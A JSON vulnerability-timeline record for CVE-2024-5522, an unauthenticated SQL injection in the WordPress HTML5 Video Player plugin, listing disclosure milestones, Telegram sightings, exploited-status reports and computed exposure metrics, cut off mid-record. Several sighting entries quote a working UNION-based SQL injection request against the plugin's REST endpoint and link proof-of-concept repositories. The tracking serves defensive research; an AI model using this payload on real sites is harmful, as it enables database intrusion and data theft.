{"metadata": {"vulnerability": "CVE-2024-5522", "count": 40, "kinds": {"milestone": 4, "sighting": 21, "kev": 6, "other": 9}}, "data": [{"timestamp": "2024-05-30T08:22:03.271Z", "date_only": false, "value": "2024-05-30T08:22:03.271Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-05-31T06:58:31Z", "date_only": false, "value": "2024-05-31T06:58:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7474", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "00b6c928-e5fb-4682-8d40-d78db074d9b4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5522 HTML5 Video Player <= 2.5.26 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-5522-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7474", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-03T12:18:35Z", "date_only": false, "value": "2024-06-03T12:18:35.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ap_security/566", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "386086ac-b9e7-4695-9bf5-5d28a80e7da4", "content": "#pentest\n\n\ud83d\udce3 CVE-2024-5522 (CVSS 10)\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 WordPress\n\n\ud83d\udcf6\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c WordPress, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d HTML5 Video Player, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \n\n\ud83d\udcf6\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-5522, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 SQL \u0432 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044f \u0440\u0438\u0441\u043a\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0430\u0439\u0442\u0430.\n\n\u26a1\ufe0f\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0431\u043e\u043b\u0435\u0435 30 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 WordPress.\n      \n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u0435 \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.", "url": "https://t.me/ap_security/566"}, {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / WPScan", "record": "CVE-2024-5522", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-06-20T06:15:10Z", "date_only": false, "value": "2024-06-20T06:15:10Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-3VF3-J8CR-X4G6", "record": "GHSA-3VF3-J8CR-X4G6", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2024-06-20T06:15:10.197Z", "date_only": false, "value": "2024-06-20T06:15:10.197", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-5522", "record": "FKIE_CVE-2024-5522", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-06-20T06:30:54Z", "date_only": false, "value": "2024-06-20T06:30:54Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-3VF3-J8CR-X4G6", "record": "GHSA-3VF3-J8CR-X4G6", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-06-20T16:08:22.777Z", "date_only": false, "value": "2024-06-20T16:08:22.777093Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-5522", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2024-06-20T16:08:22.777Z", "date_only": false, "value": "2024-06-20T16:08:22.777093Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-5522", "record": "FKIE_CVE-2024-5522", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2024-06-20T16:09:19.209Z", "date_only": false, "value": "2024-06-20T16:09:19.209Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-5522", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-07-03T18:46:08Z", "date_only": false, "value": "2024-07-03T18:46:08Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-3VF3-J8CR-X4G6", "record": "GHSA-3VF3-J8CR-X4G6", "field": "modified", "linked_record": true}, {"timestamp": "2024-07-09T08:12:20Z", "date_only": false, "value": "2024-07-09T08:12:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2768", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "130223e8-192c-456b-904b-aa12499fe95e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2768", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-09T15:18:16Z", "date_only": false, "value": "2024-07-09T15:18:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/BT4eANdD013slAJckBzZvR4kUdpI7QYHiNpshjwysC4P75k", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "ba485506-eb50-4432-bed1-445c87fe468f", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-09T15:22:47Z", "date_only": false, "value": "2024-07-09T15:22:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/DWZh39CCJjwDMNLJQlg32-IJ6bVW7hVgQa93YAxg1LNw0Q", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "647e3d47-a832-4baf-aba3-5ac94f7f763a", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-09T15:29:44Z", "date_only": false, "value": "2024-07-09T15:29:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1204", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "9854ab82-2c33-4af7-beb3-1833ad6c4c07", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET\u00a0 /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit\u00a0 #poc", "url": "https://t.me/realLulzSec/1204", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-09T15:29:44Z", "date_only": false, "value": "2024-07-09T15:29:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/12137", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "2e913915-4c84-4993-96f0-1b40598ec87e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET\u00a0 /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit\u00a0 #poc", "url": "https://t.me/realLulzSec/12137", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-13T07:16:33Z", "date_only": false, "value": "2024-07-13T07:16:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2163", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "0956f754-7a77-4e7c-a097-251e1b7d816a", "content": "\u041f\u0440\u043e\u0441\u044b\u043f\u0430\u0435\u043c\u0441\u044f, \u0437\u0430\u0432\u0442\u0440\u0430\u043a\u0430\u0435\u043c\n*\nCVE-2024-5522 WordPress HTML5 Video Player SQLi\n*\nusage:\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -", "url": "https://t.me/proxy_bar/2163", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-13T13:26:13Z", "date_only": false, "value": "2024-07-13T13:26:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/392", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "c1afe5ff-968d-45bf-9973-48e9a86da51b", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CyberDilara/392", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T21:18:05.372Z", "date_only": false, "value": "2024-08-01T21:18:05.372Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-01T21:18:05.372Z", "date_only": false, "value": "2024-08-01T21:18:05.372Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-5522", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-11T10:28:46Z", "date_only": false, "value": "2024-09-11T10:28:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7oOON9wm4NLnsXexvwBOz9yoySkEPdgruSbrD_1iUtAwK4A", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "fb739a7b-3fa6-401c-8417-f955f21d3eab", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-11T10:28:46Z", "date_only": false, "value": "2024-09-11T10:28:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Q6JYSzCk4fSxtiIEfbQo5uoXu9pq_6r9ZFHqnZnr27qFgNu8", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "48e04786-6ba9-4706-880e-0f8a1919e68c", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-11T10:28:50Z", "date_only": false, "value": "2024-09-11T10:28:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HelangMerahGroupHMG/2395", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "bd78e63b-42c1-4b35-ae5a-bc7980cc4b8b", "content": "https://github.com/kryptonproject/CVE-2024-5522-PoC\n\nCVE-2024-5522-PoC : HTML5 Video Player < 2.5.27 - Unauthenticated SQLi", "url": "https://t.me/HelangMerahGroupHMG/2395", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-11T10:55:07Z", "date_only": false, "value": "2024-09-11T10:55:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Sqh6EZwDjYUEyD0KmCOu1fnD96OmLihsBaDstzs9VRNuTEz_", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "0103aca6-a459-4993-8c3a-5f95e2411b4f", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-11T10:55:15Z", "date_only": false, "value": "2024-09-11T10:55:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/RipperSecIO/112630", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "a5a84931-e861-41dc-ae76-a458f5762565", "content": "https://github.com/kryptonproject/CVE-2024-5522-PoC\n\nCVE-2024-5522-PoC : HTML5 Video Player < 2.5.27 - Unauthenticated SQLi", "url": "https://t.me/RipperSecIO/112630", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-01T16:06:01Z", "date_only": false, "value": "2024-10-01T16:06:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8654", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "32c1b9f1-2ada-42ae-b37c-9899d923ef70", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA PoC exploit scanner for CVE-2024-5522 vulnerability in WordPress websites\nURL\uff1ahttps://github.com/geniuszlyy/CVE-2024-5522\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8654", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-17T08:16:07.347Z", "date_only": false, "value": "2026-06-17T08:16:07.347", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-5522", "record": "FKIE_CVE-2024-5522", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-07-12T22:00:11.042Z", "date_only": false, "value": "2026-07-12T22:00:11.042351Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/914", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "337ef247-6227-43e7-bd8d-d4d240d9de29", "url": "https://t.me/securixy_kz/914"}, {"timestamp": "2026-07-13T00:00:35.276Z", "date_only": false, "value": "2026-07-13T00:00:35.276310Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/914", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "1b67d943-6373-4ae1-90c0-72f26a280f5e", "url": "https://t.me/securixy_kz/914"}, {"timestamp": "2026-07-14T00:00:58.174Z", "date_only": false, "value": "2026-07-14T00:00:58.174319Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/securixy_kz/914", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "07c26033-9f8d-4a9e-9360-b6cbc3e1c5a2", "url": "https://t.me/securixy_kz/914", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-26T02:00:22.519Z", "date_only": false, "value": "2026-07-26T02:00:22.519928Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/435", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "b0b74118-144b-4b5e-9072-02ca53c3ea35", "url": "https://t.me/cyberwarehouse/435"}, {"timestamp": "2026-07-27T00:00:21.028Z", "date_only": false, "value": "2026-07-27T00:00:21.028239Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/435", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "3c48dcb6-06f5-4be7-856c-b5be4783305f", "url": "https://t.me/cyberwarehouse/435", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-27T20:38:52Z", "date_only": false, "value": "2026-09-27T20:38:52+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2024-5522", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-27T20:38:52Z", "date_only": false, "value": "2026-09-27T20:38:52+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-5522", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-21T09:13:40.478Z", "date_only": false, "value": "2026-10-21T09:13:40.478339Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/f355000f-d656-40c4-aa6f-ea1d8bbe200b", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "7b06eb78-5d90-4cdb-8370-3369eddf3e48", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/f355000f-d656-40c4-aa6f-ea1d8bbe200b", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-11-01T00:00:00Z", "date_only": false, "value": "2026-11-01T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2024-5522", "field": "timestamps.last_seen_at", "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-01T00:00:00Z", "date_only": true, "value": "2026-11-01", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2024-5522", "field": "evidence.0.details.observation_date", "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-01T00:00:00Z", "date_only": false, "value": "2026-11-01T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2024-5522", "field": "status.status_updated_at", "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-03T01:00:01Z", "date_only": false, "value": "2026-11-03T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2024-5522", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "f355000f-d656-40c4-aa6f-ea1d8bbe200b", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-08T16:05:50.527Z", "anchors": {"origin": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2024-05-31T06:58:31Z", "date_only": false, "value": "2024-05-31T06:58:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7474", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "00b6c928-e5fb-4682-8d40-d78db074d9b4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5522 HTML5 Video Player <= 2.5.26 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-5522-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7474", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2024-07-09T08:12:20Z", "date_only": false, "value": "2024-07-09T08:12:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2768", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "130223e8-192c-456b-904b-aa12499fe95e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2768", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 1649535.956, "hours": 458.20443222222224, "days": 19.091851342592594, "min_seconds": 1649535.956, "max_seconds": 1649535.956, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-07-09T08:12:20Z", "date_only": false, "value": "2024-07-09T08:12:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2768", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "130223e8-192c-456b-904b-aa12499fe95e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2768", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit": {"available": true, "seconds": 1649535.956, "hours": 458.20443222222224, "days": 19.091851342592594, "min_seconds": 1649535.956, "max_seconds": 1649535.956, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-07-09T08:12:20Z", "date_only": false, "value": "2024-07-09T08:12:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2768", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "130223e8-192c-456b-904b-aa12499fe95e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2768", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit_publication": {"available": true, "seconds": -1724493.044, "hours": -479.0258455555556, "days": -19.95941023148148, "min_seconds": -1724493.044, "max_seconds": -1724493.044, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-05-31T06:58:31Z", "date_only": false, "value": "2024-05-31T06:58:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7474", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "00b6c928-e5fb-4682-8d40-d78db074d9b4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5522 HTML5 Video Player <= 2.5.26 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-5522-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7474", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 75290746.483978, "hours": 20914.096245549445, "days": 871.4206768978936, "min_seconds": 75290746.483978, "max_seconds": 75290746.483978, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-06-20T06:00:04.044Z", "date_only": false, "value": "2024-06-20T06:00:04.044Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-5522", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-08T16:05:50.527Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 73641210.527978, "hours": 20455.891813327224, "days": 852.3288255553009, "min_seconds": 73641210.527978, "max_seconds": 73641210.527978, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-07-09T08:12:20Z", "date_only": false, "value": "2024-07-09T08:12:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2768", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "130223e8-192c-456b-904b-aa12499fe95e", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2768", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-08T16:05:50.527Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 77015239.527978, "hours": 21393.122091105, "days": 891.380087129375, "min_seconds": 77015239.527978, "max_seconds": 77015239.527978, "approximate": 